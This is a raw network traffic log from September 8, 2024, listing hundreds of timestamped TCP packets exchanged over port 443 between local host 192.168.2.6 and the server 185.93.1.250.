Sep 8, 2024 09:53:38.273077965 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.273082972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.273113012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.273614883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.273628950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.273663044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.273668051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.273689985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.273710012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.274466038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.274483919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.274513960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.274518967 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.274550915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275142908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275156021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275188923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275192976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275208950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275224924 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275295973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275309086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275343895 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275347948 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275372028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275383949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275391102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275394917 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275408983 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275424957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.275429964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.275460958 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.360724926 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.360748053 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.360789061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.360795021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.360825062 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361026049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361041069 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361069918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361074924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361092091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361108065 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361243963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361257076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361288071 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361294031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361316919 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361334085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361574888 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361588955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361624002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361629009 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361651897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361666918 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361932993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361947060 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.361984015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.361988068 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362013102 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362165928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362179995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362215996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362221003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362257004 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362376928 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362390995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362431049 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362436056 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362449884 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362464905 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362673044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362685919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362715960 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.362720013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.362747908 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450086117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450108051 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450181007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450190067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450367928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450463057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450475931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450522900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450527906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450558901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450696945 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450712919 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450752020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.450757027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.450795889 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451523066 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451536894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451570034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451575041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451600075 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451617002 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451658964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451672077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451710939 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451714993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.451738119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.451755047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452171087 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452184916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452222109 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452227116 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452258110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452423096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452439070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452491999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452496052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452528000 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452545881 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452558994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452589035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452594042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.452616930 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.452631950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.540878057 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.540899038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.540934086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.540951014 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.540962934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.540965080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.540985107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.540988922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541003942 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541024923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541029930 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541063070 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541073084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541523933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541538000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541568995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541574001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541589975 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541605949 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541779041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541791916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541836023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.541841030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.541876078 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542253971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542267084 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542298079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542301893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542323112 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542337894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542428017 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542439938 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542484999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542490005 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542520046 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542891026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542905092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542938948 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542943954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.542968035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.542984009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.543104887 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.543116093 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.543165922 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.543171883 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.543195009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.543217897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.628283978 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628304958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628339052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628359079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.628367901 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628401041 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.628428936 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.628652096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628665924 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.628706932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.628711939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629158020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629177094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629206896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.629213095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629235029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.629475117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629487038 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629514933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.629520893 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629539967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.629965067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.629995108 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630017996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.630023956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630043983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.630383968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630397081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630436897 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.630443096 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630640030 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630657911 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630685091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.630690098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.630707026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.674614906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.714852095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.714869976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715033054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715044975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715064049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715080023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715082884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715094090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715109110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715142012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715265036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715286016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715307951 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715312004 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715332985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715348005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715625048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715641975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715687037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715691090 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715723991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.715976000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.715987921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716032028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.716036081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716063976 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.716541052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716558933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716608047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.716613054 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716641903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.716890097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716902971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716954947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.716959000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.716989040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.717215061 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.717228889 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.717282057 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.717286110 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.717318058 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.801898003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.801923037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.801984072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.801991940 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802045107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802145958 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802167892 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802191019 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802196026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802217007 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802234888 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802458048 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802470922 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802520990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802525043 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802558899 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802771091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802788973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802818060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802820921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.802845001 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802860022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.802999020 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803014994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803061962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803066015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803097010 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803407907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803430080 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803462982 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803467035 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803488016 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803503990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803783894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803797960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803842068 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.803847075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.803877115 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.804100037 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.804117918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.804160118 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.804164886 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.804194927 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.889781952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.889801025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.889991999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890000105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890044928 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890074968 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890088081 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890115023 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890119076 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890145063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890161991 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890449047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890464067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890516996 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890521049 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890552998 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890830994 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890844107 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890892029 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890897036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890913010 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890928030 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890932083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890943050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.890959024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.890995979 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891124964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891138077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891185045 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891189098 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891218901 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891484976 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891498089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891544104 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891547918 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891577005 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891783953 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891803026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891833067 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891836882 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.891855955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.891871929 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.975981951 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.976005077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.976049900 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.976058006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.976079941 CEST	49710	443	192.168.2.6	185.93.1.250
